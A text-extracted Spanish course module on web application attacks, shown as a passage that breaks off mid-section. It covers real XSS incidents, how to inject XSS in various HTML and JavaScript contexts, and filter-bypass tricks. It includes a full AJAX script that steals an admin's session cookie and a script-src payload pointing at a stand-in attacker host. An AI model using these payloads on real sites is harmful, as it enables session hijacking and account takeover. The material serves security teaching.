74
Ataques a aplicaciones web José María Alonso Cebrián Antonio Guzmán Sacristán Pedro Laguna Durán Alejandro Martín Bailón PID_00191662

Ataques a Aplicaciones Web

  • Upload
    zerosk

  • View
    48

  • Download
    0

Embed Size (px)

Citation preview

Page 1: Ataques a Aplicaciones Web

Ataques aaplicaciones web Joseacute Mariacutea Alonso CebriaacutenAntonio Guzmaacuten SacristaacutenPedro Laguna DuraacutenAlejandro Martiacuten Bailoacuten PID_00191662

CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web

Los textos e imaacutegenes publicados en esta obra estaacuten sujetos ndashexcepto que se indique lo contrariondash a una licencia deReconocimiento-NoComercial-SinObraDerivada (BY-NC-ND) v30 Espantildea de Creative Commons Podeacuteis copiarlos distribuirlosy transmitirlos puacuteblicamente siempre que citeacuteis el autor y la fuente (FUOC Fundacioacuten para la Universitat Oberta de Catalunya)no hagaacuteis de ellos un uso comercial y ni obra derivada La licencia completa se puede consultar en httpcreativecommonsorglicensesby-nc-nd30eslegalcodees

CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web

Iacutendice

1 Ataques de inyeccioacuten de scripts 5

11 Cross site scripting (XSS) 7

111 Ataques 9

112 Meacutetodos para introducir XSS (cross site scripting) 10

113 Diseccionando un ataque 12

114 Filtros XSS 17

12 Cross Site Request Forgery (CSRF) 19

13 Clickjacking 21

2 Ataques de inyeccioacuten de coacutedigo 26

21 LDAP Injection 28

211 LDAP Injection con ADAM de Microsoft 28

212 LDAP Injection con OpenLDAP 31

213 Conclusiones 33

214 ldquoORrdquo LDAP Injection 34

215 ldquoANDrdquo LDAP Injection 36

22 Blind LDAP Injection 39

221 Blind LDAP Injection en un entorno ldquoANDrdquo 40

222 Reconocimiento de clases de objetos de un aacuterbol

LDAP 40

223 Blind LDAP Injection en un entorno ldquoORrdquo 42

224 Ejemplos Blind LDAP Injection 43

23 XPath 48

231 XPath injection y Blind XPath Injection 48

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection 53

3 Ataques de Path Transversal 54

31 Path Disclosure 54

4 Ataques de inyeccioacuten de ficheros 56

41 Remote file inclusion 56

42 Local file inclusion 57

43 Webtrojans 59

5 Google Hacking 61

6 Seguridad por ocultacioacuten 64

61 Descompiladores de applets web 67

611 Flash 67

612 Java 69

613 NET 70

CC-BY-NC-ND bull PID_00191662 Ataques a aplicaciones web

Bibliografiacutea 73

CC-BY-NC-ND bull PID_00191662 5 Ataques a aplicaciones web

1 Ataques de inyeccioacuten de scripts

Bajo la denominacioacuten de inyeccioacuten de scripts se agrupan distintas teacutecnicas que

comparten el mismo sistema de explotacioacuten pero que persiguen distinto fin

El hecho de separarlas en distintas categoriacuteas atiende uacutenicamente a facilitar la

fijacioacuten de los objetivos perseguidos

Un ataque por inyeccioacuten de coacutedigo se plantea como objetivo lograr in-

yectar en el contexto de un dominio un coacutedigo Javascript VBScript o

simplemente HTML con la finalidad de engantildear al usuario o realizar

una accioacuten no deseada suplantaacutendole

Un concepto que debe quedar muy claro es que en este tipo de ataque el afec-

tado no es directamente el servidor como podriacutea ser en el caso de un ataque

de SQL Injection sino que el objetivo directo es el usuario Posteriormente

si el ataque es exitoso y mediante suplantacioacuten de personalidad se podraacuten

ejecutar las acciones deseadas en el servidor afectado y al que pueda accederse

desde una paacutegina web

Esto ha implicado que los fallos de inyeccioacuten de scripts no sean considerados

como amenazas criacuteticas en algunos sectores de la seguridad informaacutetica de-

clarando incluso que errores de este tipo no podriacutean llegar a comprometer la

seguridad de un sitio web Como se demostraraacute a lo largo de este apartado la

inyeccioacuten de scripts puede llegar a ser tan peligrosa como cualquier otra teacutecni-

ca si se sabe cuaacutel es su liacutemite y cuaacutel es su potencial

Se exponen a continuacioacuten casos reales relacionados con XSS ( cross site scrip-

ting) en los que la seguridad de alguacuten sitio web ha quedado comprometida A

pesar del escepticismo de algunos XSS puede permitir la obtencioacuten de privile-

gios sobre alguacuten sistema lo suficientemente deacutebil como para permitir insertar

coacutedigo Javascript

CC-BY-NC-ND bull PID_00191662 6 Ataques a aplicaciones web

Zone-H

El primero de los casos es el de Zone-H paacutegina dedicada a mantener un registro delos sitios atacados a los que se les ha modificado la apariencia de la paacutegina principallo que en argot se denomina ldquodefaceadosrdquo Este sitio registra tambieacuten los autoresidentificados de las acciones maliciosas Resulta iroacutenico que fuesen ellos mismos losatacados

El meacutetodo usado por los atacantes fue el de enviar a uno de los administradoresdel sitio un correo electroacutenico a su cuenta de Hotmail donde recientemente habiacuteanlocalizado un fallo de XSS Explotando el error lograron robar su cookie de sesioacuteny con ella pudieron visitar el sitio web de Zone-H Una vez aquiacute solicitaron unarecuperacioacuten de la contrasentildea que evidentemente se les envioacute al correo electroacutenicoque habiacutean secuestrado previamente Con esta cuenta de administrador del sitio noles quedoacute maacutes que publicar una noticia que incluiacutea coacutedigo HTML especialmenteescrito para colocar sobre el resto de la paacutegina el contenido que ellos deseaban

Samy Worm y MySpace

El segundo caso real utilizado como ejemplo donde el XSS logroacute comprometer laseguridad de un sitio fue el protagonizado por Samy Worm y MySpace Samy es unchico de Estados Unidos que detectoacute una vulnerabilidad de XSS en el famoso portalde MySpace Para explotar este fallo y aprovechando sus dotes de programacioacuten Ja-vascript Samy creoacute un gusano informaacutetico que luego se conoceriacutea como Samy Worm

Un gusano informaacutetico es un programa que se replica entre sistemas afectados por lamisma vulnerabilidad En un entorno web un gusano seriacutea un coacutedigo Javascript quese replica entre los perfiles de los usuarios del sitio Y eso fue lo que hizo Samy consu gusano replicarlo en maacutes de un milloacuten de perfiles de MySpace

El gusano no era especialmente maligno Uacutenicamente efectuaba tres acciones se re-plicaba como cualquier gusano antildeadiacutea al usuario de Samy como amigo de la personainfectada e incluiacutea la frase ldquobut most of all Samy is my herordquo en el apartado de heacuteroespersonales de cada perfil

En menos de 24 horas actuando llegoacute a bloquear el sistema de MySpace y los admi-nistradores de la red tuvieron que detener el servicio mientras limpiaban los perfilesde los usuarios infectados A Samy le detuvieron y le condenaron a pagar una multaeconoacutemica a realizar un mes de tareas para la comunidad y a un antildeo de inhabilita-cioacuten para trabajar con ordenadores

CC-BY-NC-ND bull PID_00191662 7 Ataques a aplicaciones web

Figura 1 Buacutesqueda que devolviacutea maacutes de 3000 paacuteginas con eltexto ldquosamy is my herordquo

Estos dos casos reflejan perfectamente lo criacutetica que puede llegar a ser una

vulnerabilidad XSS y el resto de sus variantes para la seguridad de un sitio web

a pesar de la opinioacuten de aquellos que no las consideran como tal

Hacker Safe

En el uacuteltimo de los casos presentado e ilustrativo de esta poleacutemica aparece la com-pantildeiacutea Hacker Safe dedicada a comercializar soluciones de seguridad Esta iniciativapromete tras el pago de cierta cantidad monetaria revisar diariamente la seguridadde un sitio web mediante el uso de herramientas automatizadas Ademaacutes permite in-cluir una pequentildea imagen con el texto ldquo100 Hacker Saferdquo en el sitio con el objetode inspirar confianza a los usuarios

Tras descubrirse y hacerse puacuteblico que algunas de las paacuteginas ldquo100 Hacker Saferdquopresentaban vulnerabilidades de tipo XSS algunos de los maacuteximos responsables dela compantildeiacutea llegaron a afirmar que los fallos de XSS no eran criacuteticos y que nunca sehabiacutean llegado a utilizar para comprometer totalmente la seguridad de un sitio Comose ha podido observar en los casos anteriores y se podraacute corroborar en las paacuteginassiguientes esta afirmacioacuten es cuanto menos ignorante

11 Cross site scripting (XSS)

El cross site scripting es la base de todas las demaacutes teacutecnicas que se van a ir ana-

lizando en este moacutedulo asiacute que es fundamental entender correctamente los

conceptos que se explican a continuacioacuten

CC-BY-NC-ND bull PID_00191662 8 Ataques a aplicaciones web

Cuando se habla de ejecucioacuten remota de coacutedigo es necesario considerar coacutemo

se realiza la interaccioacuten con la paacutegina Evidentemente toda peticioacuten enviada

al servidor va a ser procesada por este y en funcioacuten de coacutemo la interprete seraacute

o no factible un ataque mediante XSS

Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos

al servidor (un comentario un cambio en un perfil una buacutesqueda etc)

se ve posteriormente mostrado en la paacutegina de respuesta

Esto es cuando escribimos un comentario en una paacutegina y podemos leer

posteriormente nuestro mensaje modificamos nuestro perfil de usuario

y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos

muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo

se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros

hemos introducido Ahiacute es donde vamos a empezar a investigar para

lograr introducir nuestro coacutedigo XSS

Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-

dente del usuario lo muestra en la paacutegina es el momento de determinar si es

posible utilizar esa zona como punto de ataque de XSS Para ello es posible

insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para

descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para

los ejemplos se utilizaraacute el siguiente coacutedigo

ltscriptgtalert(iexclHola Mundo)ltscriptgt

El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque

como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-

litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por

ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo

suelen estar prohibidos

Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS

Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas

bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta

categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el

ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten

lugar habitualmente una base de datos SQL y se va a mostrar a cualquier

usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS

son mucho maacutes peligrosos que los no permanentes que se comentan a

continuacioacuten

CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web

bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se

menciona Nos encontramos con una paacutegina web que dispone de busca-

dor el cual al introducir una palabra inventada o una cadena aleatoria de

caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados

para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en

el campo de buacutesqueda

Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-

cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es

vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten

no son permanentes

XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo

Javascript en una aplicacioacuten web lo que permite realizar una serie de

acciones maliciosas en la misma

Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-

nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que

anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo

se ha escrito en alguacuten campo donde queda almacenado en una base de datos

de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina

Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En

estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque

Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute

ser algo similar a

httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt

Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga

clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea

ya a otro aacutembito de estudio como es la ingenieriacutea social

111 Ataques

Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que

pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-

mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante

y las funcionalidades de la aplicacioacuten objetivo del ataque

bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-

rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha

logrado que un usuario administrador ejecute nuestro coacutedigo Javascript

las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible

por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a

generar una cuenta de administrador con los datos que nosotros especifi-

CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web

quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de

administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil

especiacutefico del usuario en el sitio web

bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing

Mediante Javascript como hemos visto podemos modificar el comporta-

miento y la apariencia de una paacutegina web Esto permite crear un formula-

rio de login falso o redirigir el submit de uno existente hacia un dominio

de nuestro control

bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-

nicas que explotan vulnerabilidades XSS

bull Por otra parte aunque menos habitual es posible realizar un ataquedede-

negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)

Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-

gan un uso intensivo de recursos muy costosos en ancho de banda o ca-

pacidad de procesamiento de un servidor de forma asiacutencrona

bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga

dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-

cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red

social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo

Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita

otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-

cacioacuten en los perfiles afectados

Como se puede comprobar las posibilidades que ofrece el XSS son realmen-

te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar

coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no

permite el acceso a ficheros del sistema y a las propias funcionalidades que

ofrezca el sitio web objeto del posible ataque

112 Meacutetodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-

cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas

de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo

malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las

zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo

Javascript introducido

bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo

Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-

cutar

(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

